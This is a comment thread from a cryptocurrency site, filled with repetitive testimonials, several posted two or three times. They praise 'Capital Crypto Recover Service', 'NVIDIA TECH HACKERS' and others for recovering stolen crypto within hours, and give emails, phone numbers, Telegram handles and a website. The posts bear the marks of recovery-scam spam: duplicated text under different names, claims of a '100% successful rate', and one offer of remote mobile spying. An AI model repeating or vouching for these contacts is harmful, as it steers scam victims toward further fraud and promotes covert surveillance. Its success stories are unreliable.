    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 17.10.25 20:17 tyleradams

    As time passes, there are an increasing number of frauds involving Bitcoin and other cryptocurrencies. Although there are many individuals who advertise recovering money online, people should use caution in dealing, especially when money is involved. You can trust NVIDIA TECH HACKERS [[email protected]], I promise. They are the top internet recovery company, and as their names indicate, your money is reclaimed as soon as feasible. My bitcoin was successfully retrieved in large part thanks to NVIDIA TECH HACKERS. Ensure that you get top-notch service; NVIDIA TECH HACKERS provides evidence of its work; and payment is only made when the service has been completed to your satisfaction. Reach them via email: [email protected] on google mail

  • 17.10.25 20:20 lindseyvonn

    Have you gotten yourself involved in a cryptocurrency scam or any scam at all? If yes, know that you are not alone, there are a lot of people in this same situation. I'm a Health Worker and was a victim of a cryptocurrency scam that cost me a lot of money. This happened a few weeks ago, there’s only one solution which is to talk to the right people, if you don’t do this you will end up being really depressed. I was really devastated until went on LinkedIn one evening after my work hours and i saw lots of reviews popped up on my feed about [email protected], I sent an email to the team who came highly recommended - [email protected] I started seeing some hope for myself from the moment I sent them an email. The good part is they made the entire process stress free for me, i literally sat and waited for them to finish and I received what I lost in my wallet

  • 17.10.25 20:22 richardcharles

    I would recommend NVIDIA TECH HACKERS to anyone that needs this service. I decided to get into crypto investment and I ended up getting my crypto lost to an investor late last year. The guy who was supposed to be managing my account turned out to be a scammer all along. I invested 56,000 USD and at first, my reading and profit margins were looking good. I started getting worried when I couldn’t make withdrawals and realized that I’ve been scammed. I came across some of the testimonials that people said about NVIDIA TECH HACKERS and how helpful he has been in recovering their funds. I immediately contacted him in his mail at [email protected] so I can get his assistance. One week into the recovery process the funds were traced and recovered back from the scammer. I can't appreciate him enough for his professionalism.

  • 17.10.25 20:23 stevekalfman

    If you need a hacker for scam crypto recovery or mobile spy access remotely kindly reach out to [email protected] for quick response, I hired this hacker and he did a nice job. before NVIDIA TECH HACKERS, I met with different hacker's online which turns out to be scam, this NVIDIA TECH HACKERS case was different and he is the trusted hacker I can vote and refer.

  • 17.10.25 21:42 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 17.10.25 21:42 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 17.10.25 21:42 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon